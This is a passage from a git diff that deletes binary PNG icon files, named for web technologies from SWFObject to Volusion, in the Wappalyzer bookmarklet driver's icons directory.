b/Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png deleted file mode 100644 index 08637db..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Saia PCD.png b/Wappalyzer/drivers/bookmarklet/images/icons/Saia PCD.png deleted file mode 100644 index c560a63..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Saia PCD.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sarka-SPIP.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sarka-SPIP.png deleted file mode 100644 index c2f61b7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sarka-SPIP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Scala.png b/Wappalyzer/drivers/bookmarklet/images/icons/Scala.png deleted file mode 100644 index b38a701..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Scala.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Schneider Web Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Schneider Web Server.png deleted file mode 100644 index d795ac7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Schneider Web Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Schneider.png b/Wappalyzer/drivers/bookmarklet/images/icons/Schneider.png deleted file mode 100644 index d795ac7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Schneider.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Scientific Linux.png b/Wappalyzer/drivers/bookmarklet/images/icons/Scientific Linux.png deleted file mode 100644 index c500660..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Scientific Linux.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png deleted file mode 100644 index 181921d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Keys Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Keys Server.png deleted file mode 100755 index 9fa007f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Keys Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png deleted file mode 100755 index 9fa007f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png deleted file mode 100755 index 9fa007f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png deleted file mode 100644 index b201673..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Serendipity.png b/Wappalyzer/drivers/bookmarklet/images/icons/Serendipity.png deleted file mode 100644 index 065ac91..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Serendipity.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shadow.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shadow.png deleted file mode 100644 index 6410565..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Shadow.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ShareThis.png b/Wappalyzer/drivers/bookmarklet/images/icons/ShareThis.png deleted file mode 100644 index fd9706b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ShareThis.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png b/Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png deleted file mode 100644 index 11f9560..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopalize.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopalize.png deleted file mode 100644 index c733899..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Shopalize.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png deleted file mode 100644 index d6bce72..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png deleted file mode 100644 index 82f48c2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopware.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopware.png deleted file mode 100644 index 8387cd6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Shopware.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Silva.png b/Wappalyzer/drivers/bookmarklet/images/icons/Silva.png deleted file mode 100644 index 5ce7ac7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Silva.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SilverStripe.png b/Wappalyzer/drivers/bookmarklet/images/icons/SilverStripe.png deleted file mode 100644 index 12208db..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SilverStripe.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png b/Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png deleted file mode 100644 index 7581a77..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png deleted file mode 100644 index 002de3d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png deleted file mode 100644 index 17042b8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sitecore.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sitecore.png deleted file mode 100644 index 3d8218f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sitecore.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png deleted file mode 100644 index 6a24fd0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png deleted file mode 100644 index 7bea12b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png b/Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png deleted file mode 100644 index e5dea4c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png b/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png deleted file mode 100644 index 2bdfdac..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png deleted file mode 100644 index 2bdfdac..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png deleted file mode 100644 index eaacdbb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png b/Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png deleted file mode 100644 index 1a08e84..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Smartstore.png b/Wappalyzer/drivers/bookmarklet/images/icons/Smartstore.png deleted file mode 100644 index 1c35a51..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Smartstore.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png b/Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png deleted file mode 100644 index c443e15..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Snoobi.png b/Wappalyzer/drivers/bookmarklet/images/icons/Snoobi.png deleted file mode 100644 index bc493a7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Snoobi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png b/Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png deleted file mode 100644 index b1463bb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Socket.io.png b/Wappalyzer/drivers/bookmarklet/images/icons/Socket.io.png deleted file mode 100644 index d1f1269..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Socket.io.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png b/Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png deleted file mode 100644 index a6a92cb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SoundManager.png b/Wappalyzer/drivers/bookmarklet/images/icons/SoundManager.png deleted file mode 100644 index e142030..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SoundManager.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png deleted file mode 100644 index e0edb8e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png b/Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png deleted file mode 100644 index 545cd10..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Splunk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Splunk.png deleted file mode 100755 index aec9976..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Splunk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png b/Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png deleted file mode 100755 index aec9976..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Spree.png b/Wappalyzer/drivers/bookmarklet/images/icons/Spree.png deleted file mode 100644 index 25cf454..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Spree.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Squarespace.png b/Wappalyzer/drivers/bookmarklet/images/icons/Squarespace.png deleted file mode 100644 index 07e5783..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Squarespace.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png deleted file mode 100644 index 54be346..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png deleted file mode 100644 index f903e4b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/StatCounter.png b/Wappalyzer/drivers/bookmarklet/images/icons/StatCounter.png deleted file mode 100644 index e3d2bcc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/StatCounter.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Store Systems.png b/Wappalyzer/drivers/bookmarklet/images/icons/Store Systems.png deleted file mode 100644 index 7a3ccca..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Store Systems.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png b/Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png deleted file mode 100644 index 7c36c6d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SublimeVideo.png b/Wappalyzer/drivers/bookmarklet/images/icons/SublimeVideo.png deleted file mode 100644 index f468408..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SublimeVideo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png deleted file mode 100755 index 7b6eef0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png b/Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Supersized.png b/Wappalyzer/drivers/bookmarklet/images/icons/Supersized.png deleted file mode 100644 index 9c500c3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Supersized.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Swiftlet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Swiftlet.png deleted file mode 100644 index aa9e71b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Swiftlet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Synology DiskStation.png b/Wappalyzer/drivers/bookmarklet/images/icons/Synology DiskStation.png deleted file mode 100644 index 68ed5ff..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Synology DiskStation.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/TWiki.png deleted file mode 100644 index 664fb68..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png deleted file mode 100644 index bdca086..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Flow.png b/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Flow.png deleted file mode 100644 index bdca086..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Flow.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Neos.png b/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Neos.png deleted file mode 100644 index bdca086..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Neos.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TYPOlight.png b/Wappalyzer/drivers/bookmarklet/images/icons/TYPOlight.png deleted file mode 100644 index fd786f0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TYPOlight.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png deleted file mode 100644 index 6234c23..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png b/Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png deleted file mode 100644 index e799973..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tengine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tengine.png deleted file mode 100644 index 938534c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Tengine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png deleted file mode 100644 index cbba3ae..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png deleted file mode 100644 index b2e28ef..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png deleted file mode 100644 index 612faa3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png b/Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png b/Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png deleted file mode 100644 index 527647a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TinyMCE.png b/Wappalyzer/drivers/bookmarklet/images/icons/TinyMCE.png deleted file mode 100644 index d8fd9b8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TinyMCE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Titan.png b/Wappalyzer/drivers/bookmarklet/images/icons/Titan.png deleted file mode 100644 index 965fa77..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Titan.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png deleted file mode 100644 index 8646e91..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png deleted file mode 100644 index d52d546..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Trac.png b/Wappalyzer/drivers/bookmarklet/images/icons/Trac.png deleted file mode 100644 index 8cb4611..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Trac.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png b/Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png deleted file mode 100644 index 4eabf59..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tumblr.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tumblr.png deleted file mode 100644 index 0224857..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Tumblr.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Twilight CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Twilight CMS.png deleted file mode 100644 index 1ad3225..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Twilight CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png b/Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png deleted file mode 100644 index 34b70d8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TwistedWeb.png b/Wappalyzer/drivers/bookmarklet/images/icons/TwistedWeb.png deleted file mode 100644 index c7fe5e1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TwistedWeb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png deleted file mode 100644 index 570ffef..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png b/Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png deleted file mode 100644 index d2813f1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Typekit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Typekit.png deleted file mode 100644 index c0d10b3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Typekit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UIKit.png b/Wappalyzer/drivers/bookmarklet/images/icons/UIKit.png deleted file mode 100644 index c9cc221..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/UIKit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png b/Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png deleted file mode 100644 index 2d3282e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png deleted file mode 100644 index 47e9fa2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ubuntu.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ubuntu.png deleted file mode 100644 index d47da3c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ubuntu.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png deleted file mode 100644 index dd42fe0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png b/Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png deleted file mode 100644 index 00e8c3c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Underscore.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Underscore.js.png deleted file mode 100644 index aeacdc9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Underscore.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UserRules.png b/Wappalyzer/drivers/bookmarklet/images/icons/UserRules.png deleted file mode 100644 index fcbd302..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/UserRules.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UserVoice.png b/Wappalyzer/drivers/bookmarklet/images/icons/UserVoice.png deleted file mode 100644 index eaf14c2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/UserVoice.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ushahidi.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ushahidi.png deleted file mode 100644 index a201393..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ushahidi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VIVVO.png b/Wappalyzer/drivers/bookmarklet/images/icons/VIVVO.png deleted file mode 100644 index c821f52..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VIVVO.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png b/Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png deleted file mode 100644 index 1a9ed9a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vanilla.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vanilla.png deleted file mode 100644 index 56c5c96..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Vanilla.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Varnish.png b/Wappalyzer/drivers/bookmarklet/images/icons/Varnish.png deleted file mode 100644 index e547d74..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Varnish.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png deleted file mode 100644 index 9cc6120..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VideoJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/VideoJS.png deleted file mode 100644 index 1b8a293..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VideoJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VigLink.png b/Wappalyzer/drivers/bookmarklet/images/icons/VigLink.png deleted file mode 100644 index 44f7142..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VigLink.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png deleted file mode 100644 index 6312f2c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png deleted file mode 100644 index 4be20e2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Virata EmWeb.png b/Wappalyzer/drivers/bookmarklet/images/icons/Virata EmWeb.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Virata EmWeb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png b/Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png deleted file mode 100644 index 6040aa4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png deleted file mode 100644 index eee2529..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png b/Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png deleted file mode 100644 index a8396bf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png deleted 